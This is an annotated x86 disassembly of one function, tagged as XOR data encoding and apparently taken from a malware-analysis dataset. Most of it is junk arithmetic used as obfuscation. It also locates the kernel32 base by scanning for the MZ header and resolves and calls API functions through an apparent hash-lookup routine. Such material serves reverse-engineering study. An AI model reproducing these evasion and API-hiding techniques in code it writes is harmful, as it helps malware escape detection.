Function at 0x420975
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff54
mov eax, 0x4e3a
shr eax, 2
mov ecx, 0x37cb
mov edx, 0xc1cd
mul edx
sbb dword [0x42a3c1], 0x644e
shl dword [0x42a3c1], 0x14
mov dword [ebp - 0x50], 0xc59e
xor dword [ebp - 0x50], 0xe4ca
mov dword [ebp - 0x34], 0x2fff
or dword [ebp - 0x34], 0xccd5
sub eax, dword [0x42a3c1]
shl edx, 0x13
adc ecx, 0x2dac
add eax, ecx
or ecx, eax
shl ecx, 0x16
xor dword [0x42a3c1], 0x21c
or dword [0x42a3c1], 0xf81c
mov dword [ebp - 0x14], 0x75c3
mov dword [ebp - 0x88], 0x9ced
mov dword [ebp - 0x8c], 0x5d72
mov dword [ebp - 0x38], 0xcdb3
mov dword [ebp - 0xa8], 0x6792
mov dword [ebp - 0xac], 0x5c34
mov dword [ebp - 0x78], 0xb87e
mov dword [ebp - 0x2c], 0x19bd
mul dword [ebp - 0x88]
mov dword [ebp - 8], 0xd786
mov dword [ebp - 0x54], 0xd095
mov dword [ebp - 0x1c], 0x3b7
mov dword [ebp - 0x94], 0xefab
mov dword [ebp - 0x48], 0x4570
shr dword [ebp - 0x54], 3
shl edx, 0x19
shr edx, 0xe
add ecx, 0x622
shr edx, 7
sub eax, ecx
shl dword [0x42a3c9], 0xb
mul eax
adc dword [0x42a3b5], ecx
or dword [ebp - 0x2c], 0xd855
mov dword [ebp - 0xc], 0x415f
mov dword [ebp - 0x9c], 0x3103
sub eax, 0x3b18
adc eax, 0xc90a
sbb dword [0x42a3a1], 0x97f8
xor dword [0x42a3dd], 0x5b6
or dword [ebp - 8], 0xc93f
sbb dword [ebp - 0xac], edx
sub ecx, 0x1b5b
sbb ecx, 0x83f0
mul edx
and edx, eax
shl edx, 0x14
or ecx, 0x92d6
sub dword [0x42a3b5], 0x284f
or dword [0x42a3d5], ecx
mov dword [ebp - 0x5c], 0x3090
mov dword [ebp - 0x24], 0x2d03
add dword [ebp - 0x60], 0x6d5a
sub dword [ebp - 0x54], edx
add edx, 0xc35b
adc edx, 0x1bad
sbb edx, 0x82e8
xor edx, eax
or ecx, 0xb467
shl dword [0x42a3d1], 0x12
mul ecx
shr dword [0x42a3d1], 0x14
mov dword [ebp - 0x74], 0xd183
dec dword [0x42a3e1]
jne 0x420a95
and ecx, edx
sbb eax, 0xf9bc
shr dword [0x42a3b9], 1
or dword [0x42a3d9], 0x6e7
mov dword [ebp - 0x18], 0x2b5b
mov dword [ebp - 0xa4], 0xd213
mov dword [ebp - 0x6c], 0xce4e
mov dword [ebp - 0x44], 0xeccd
shl dword [ebp - 0x54], 0xb
mov dword [ebp - 0x20], 0x4df1
mov dword [ebp - 0x60], 0x8bac
xor dword [ebp - 0x48], 0xefc0
and edx, 0xfae7
xor eax, 0x1709
and eax, 0xaadf
xor ecx, eax
sub ecx, 0x94bd
adc eax, 0x3a70
sbb dword [0x42a3b5], 0x6535
adc dword [0x42a3b9], eax
mov dword [ebp - 0x80], 0x963a
mov dword [ebp - 0x10], 0x84c
sub dword [ebp - 0xc], 0x2f28
mov dword [ebp - 0x30], 0x3af
mov dword [ebp - 0x7c], 0xd62d
adc dword [ebp - 0x18], edx
xor edx, dword [0x42a3d9]
sbb eax, 0xe7ae
mul ecx
sbb eax, 0xd525
xor ecx, 0x765b
sub dword [0x42a39d], 0x73e7
shr ecx, 0x16
xor dword [0x42a3c9], 0x4764
and dword [ebp - 0x78], 0xe1d
mov dword [ebp - 0x70], 0x8f43
mov dword [ebp - 0x84], 0x77a
add dword [ebp - 0xac], 0xd1ec
sub edx, dword [0x42a3c9]
sbb eax, 0x2836
push 0
pop eax
xor eax, dword [sym.imp.kernel32.dll_CloseHandle]
mov dword [0x4250f7], 0
or dword [0x4250f7], eax
and dword [0x4250f7], 0xffff0000
lea eax, [0]
or eax, dword [0x4250f7]
mov dx, 0
push edi
mov di, 0x5a4d
xor dx, di
pop edi
cmp dx, word [eax]
je 0x420c94
push edi
and edi, 0
add edi, 0xffff0000
neg edi
sub eax, edi
pop edi
jno 0x420c7a
jno 0x420c7a
jmp 0x420c7a
mov dword [0x42a3ed], 0
add dword [0x42a3ed], eax
xor edx, 0x2d02
adc ecx, 0xc68a
shl dword [0x42a39d], 0x15
shr dword [0x42a3c5], 2
mov dword [ebp - 0x64], 0x9ee4
and dword [ebp - 0x2c], 0x4c6
xor dword [ebp - 0x10], edx
adc ecx, 0x62bf
shr edx, 0x1f
add ecx, 0x353f
shr eax, 6
mul eax
and eax, 0xe32
add dword [0x42a3a5], 0xc081
shr dword [0x42a3b1], 0x1f
and dword [ebp - 0x2c], 0x499e
mov dword [ebp - 0x68], 0x81d1
shr dword [ebp - 0x9c], 2
shl edx, 0xd
xor eax, dword [ebp - 0x38]
mov dword [0x4250c7], 0
add dword [0x4250c7], edi
shr edi, 0x1f
shr edi, 1
or edi, 0x9018fb52
sub edi, 0xd507a6
add edi, 0x50b14161
push edi
lea edi, [0]
add edi, dword [0x4250c7]
push dword [0x42a3ed]
sub eax, eax
add eax, fcn.004011aa
call eax
mov dword [0x42a3e9], 0
add dword [0x42a3e9], eax
lea eax, [0x42a4f1]
push eax
mov dword [0x42507b], 0
xor dword [0x42507b], ecx
imul ecx, ecx, 0
add ecx, 0xffffff9f
not ecx
rol ecx, 0xe
ror ecx, 0x10
push ecx
sub ecx, ecx
or ecx, dword [0x42507b]
mov dword [0x42514b], 0
add dword [0x42514b], ecx
push dword [0x42a3e9]
pop ecx
call ecx
mov ecx, dword [0x42514b]
test eax, eax
je 0x420e10
mov dword [0x4250af], 0
or dword [0x4250af], 0xfb8df25e
ror dword [0x4250af], 0xc
ror dword [0x4250af], 2
push dword [0x4250af]
push dword [0x42a3ed]
push 0x420def
jmp fcn.004011aa
dec dword [0x42a3e5]
jne 0x420ca4
sub esp, esp
add esp, ebp
add ecx, edx
mul ecx
adc dword [0x42a3d1], 0x1b7b
shl dword [0x42a3d1], 7
pop ebp
push 0x420e40
jmp fcn.00401359